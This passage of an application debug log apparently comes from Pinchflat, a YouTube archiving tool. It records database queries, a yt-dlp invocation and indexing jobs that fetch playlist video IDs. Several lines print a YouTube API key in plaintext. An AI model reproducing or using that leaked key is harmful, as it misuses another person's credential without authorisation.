db=0.0ms idle=217.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.269 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:22.269 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cb/bd/cbbd440b3bf7d15237cac2cc82e876bbba8062229daba96427fba6314e857937.json --sleep-requests 84 --sleep-interval 90 --sleep-subtitles 73 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:34:23.050 [info] {"args":{"id":13},"id":5268213,"meta":{},"system_time":1791581663050124537,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:23.050 [debug] QUERY OK source="sources" db=0.0ms idle=780.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:34:23.050 [debug] QUERY OK source="settings" db=0.1ms idle=781.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:23.050 [debug] QUERY OK source="media_profiles" db=0.1ms idle=781.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:23.051 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:23.051 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:34:23.051 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:23.051 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:23.221 [debug] QUERY OK source="media_items" db=0.7ms idle=170.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 16:34:23.222 [debug] QUERY OK source="media_items" db=0.2ms idle=171.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:34:23.223 [debug] QUERY OK source="tasks" db=0.1ms idle=172.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268252, 13, ~U[2026-10-09 21:34:23Z], ~U[2026-10-09 21:34:23Z]] 16:34:23.223 [info] {"args":{"id":13},"id":5268213,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173362,"event":"job:stop","queue_time":912981,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:44.776 [info] {"source":"oban","duration":10015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:34:57.084 [info] {"args":{"id":17},"id":5268214,"meta":{},"system_time":1791581697084258215,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:57.084 [debug] QUERY OK source="sources" db=0.1ms idle=390.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:34:57.085 [debug] QUERY OK source="settings" db=0.6ms idle=390.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.085 [debug] QUERY OK source="media_profiles" db=0.1ms idle=391.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:57.085 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.085 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:34:57.085 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.085 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:57.172 [debug] QUERY OK source="media_items" db=0.3ms idle=87.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:34:57.172 [debug] QUERY OK source="media_items" db=0.2ms idle=87.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:34:57.173 [debug] QUERY OK source="tasks" db=0.1ms idle=87.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268253, 17, ~U[2026-10-09 21:34:57Z], ~U[2026-10-09 21:34:57Z]] 16:34:57.174 [info] {"args":{"id":17},"id":5268214,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89655,"event":"job:stop","queue_time":430614,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:57.180 [info] {"args":{"id":9},"id":5268215,"meta":{},"system_time":1791581697180257717,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:57.180 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:34:57.180 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.181 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:57.181 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.181 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:34:57.181 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:57.181 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:57.480 [debug] QUERY OK source="media_items" db=0.7ms idle=298.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 16:34:57.481 [debug] QUERY OK source="media_items" db=0.7ms idle=300.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:34:57.482 [debug] QUERY OK source="tasks" db=0.1ms idle=300.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268254, 9, ~U[2026-10-09 21:34:57Z], ~U[2026-10-09 21:34:57Z]] 16:34:57.482 [info] {"args":{"id":9},"id":5268215,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":302226,"event":"job:stop","queue_time":168413,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:58.085 [info] {"args":{"id":11},"id":5268216,"meta":{},"system_time":1791581698085156785,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:58.085 [debug] QUERY OK source="sources" db=0.1ms idle=602.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:34:58.085 [debug] QUERY OK source="settings" db=0.1ms idle=602.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.085 [debug] QUERY OK source="media_profiles" db=0.1ms idle=596.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:58.086 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.086 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:34:58.086 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.086 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:58.319 [debug] QUERY OK source="media_items" db=0.5ms idle=233.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 16:34:58.320 [debug] QUERY OK source="media_items" db=1.3ms idle=233.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = 